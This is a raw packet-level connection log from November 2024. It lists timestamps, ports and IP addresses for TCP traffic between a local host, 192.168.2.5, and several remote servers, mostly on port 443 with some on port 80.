Nov 16, 2024 13:01:25.704251051 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:25.708564997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:25.709208965 CET	80	49745	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:25.709307909 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:25.709449053 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:25.715023994 CET	80	49745	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:25.794280052 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.794434071 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.794492006 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.794739008 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.794761896 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.794780016 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.794786930 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.847693920 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.847723007 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.847800016 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.848452091 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.848481894 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.886881113 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.933732033 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.933743954 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.935343981 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.935409069 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.935576916 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.935609102 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.935646057 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:26.241595984 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.261801958 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.266000986 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.267038107 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.272211075 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.281369925 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.303304911 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.308816910 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.308831930 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.324109077 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.395817041 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.395832062 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.396267891 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.396275043 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.396631002 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.396661997 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.397001028 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.397013903 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.397571087 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.397587061 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.397974968 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.397979975 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.398762941 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.398775101 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.399162054 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.399173021 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.400062084 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.400094986 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.400439978 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.400453091 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.520509958 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.520684958 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.520740032 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.521150112 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.521816969 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.521878958 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.523775101 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.523791075 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.524030924 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.524065971 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.524092913 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.524111986 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.525007010 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.525161982 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.525219917 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.525990963 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.526005983 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.526017904 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.526025057 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.526237011 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.526312113 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.526536942 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.527585030 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.527585030 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.527621031 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.527645111 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.530380011 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.530405998 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.530514002 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532061100 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532075882 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532110929 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.532123089 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.532172918 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532200098 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532527924 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532546043 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.532604933 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532728910 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532741070 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.532870054 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532901049 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.532949924 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.532980919 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.533304930 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.533329964 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.538120985 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.538276911 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.538352966 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.538386106 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.538387060 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.538404942 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.538430929 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.584543943 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.584574938 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.584630013 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.591485977 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:26.591500998 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:26.712121010 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:26.712192059 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:26.714796066 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:26.714813948 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:26.715234041 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:26.717166901 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:26.763328075 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:26.961508989 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:26.961654902 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:26.961724997 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:26.962352037 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:26.962398052 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:26.962428093 CET	49746	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:26.962445021 CET	443	49746	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:27.136100054 CET	80	49745	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:27.136169910 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:27.253348112 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.254525900 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.254550934 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.255040884 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.255047083 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.256125927 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.256747961 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.256784916 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.257131100 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.257147074 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.269551992 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.270262003 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.270315886 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.270776033 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.270792961 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.273576021 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.274276972 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.274310112 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.274718046 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.274729967 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.327600956 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.333446026 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.333525896 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.333842039 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.333870888 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.349766016 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:27.354610920 CET	80	49745	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:27.382283926 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.382436991 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.382496119 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.382759094 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.382822037 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.382852077 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.382867098 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.387594938 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.387821913 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.387955904 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.388169050 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.388169050 CET	49747	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.388186932 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.388196945 CET	443	49747	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.388271093 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.388356924 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.388439894 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.390758038 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.390773058 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.390795946 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.390810966 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.390886068 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.390964985 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.390973091 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.397660971 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.397805929 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.397862911 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.398041964 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.398070097 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.405031919 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.405181885 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.405241013 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.405801058 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.405826092 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.405894041 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.405941010 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.405941010 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.405960083 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.405981064 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.407912970 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.407955885 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.409276009 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.409306049 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.409528971 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.409677029 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.409687996 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.432466030 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:27.432502985 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:27.432585955 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:27.435857058 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:27.435870886 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:27.461183071 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.461318970 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.461474895 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.461546898 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.461565971 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.461589098 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.461601019 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.464553118 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.464586020 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.464643002 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.464920998 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:27.464934111 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:27.471334934 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:28.130429983 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.130866051 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.131006002 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.131031036 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.131398916 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.131414890 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.131553888 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.131565094 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.131850958 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.131861925 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.139333963 CET	80	49745	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:28.139429092 CET	49745	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:28.139976978 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.140078068 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.140455961 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.140469074 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.140496969 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.140505075 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.140851974 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.140856981 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.141149044 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.141154051 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.197005033 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.197698116 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.197729111 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.198275089 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.198287010 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.212528944 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:28.212658882 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:28.214229107 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:28.214234114 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:28.214642048 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:28.257019043 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.257143974 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.257200956 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.259574890 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.259728909 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.259814978 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.261954069 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:28.270715952 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.270904064 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.270946026 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.271754980 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.271948099 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.272013903 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.272227049 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.272250891 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.272314072 CET	49754	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.272330046 CET	443	49754	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.274415016 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.274437904 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.274447918 CET	49753	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.274454117 CET	443	49753	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.288577080 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.288590908 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.289593935 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.289608002 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.289618015 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.289622068 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.308387041 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.308446884 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.308624983 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.316169024 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.316203117 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.316267014 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.324383974 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.324409008 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.324506044 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.324742079 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.324774027 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.325545073 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.325560093 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.326946020 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.327146053 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.327197075 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.327248096 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.327248096 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.327260971 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.327270031 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.333806038 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.333836079 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.340730906 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.340775013 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.340846062 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.341295004 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.341311932 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.350276947 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.350290060 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:28.350358963 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.351082087 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:28.351095915 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.054148912 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.059286118 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.065757990 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.071800947 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.079916954 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.088737965 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.088754892 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.089231014 CET	49762	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.089236975 CET	443	49762	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.090033054 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.090065002 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.092077971 CET	49761	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.092084885 CET	443	49761	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.092442989 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.092470884 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.092983007 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.092992067 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.093239069 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.093256950 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.093902111 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.093908072 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.103543997 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.103559017 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.104434967 CET	49760	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:29.104440928 CET	443	49760	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:29.146514893 CET	49756	443	192.168.2.5	20.109.210.53
Nov 16, 2024 13:01:29.187338114 CET	443	49756	20.109.210.53	192.168.2.5
Nov 16, 2024 13:01:29.217123985 CET	443	49761	13.107.246.45	192.168.2.5
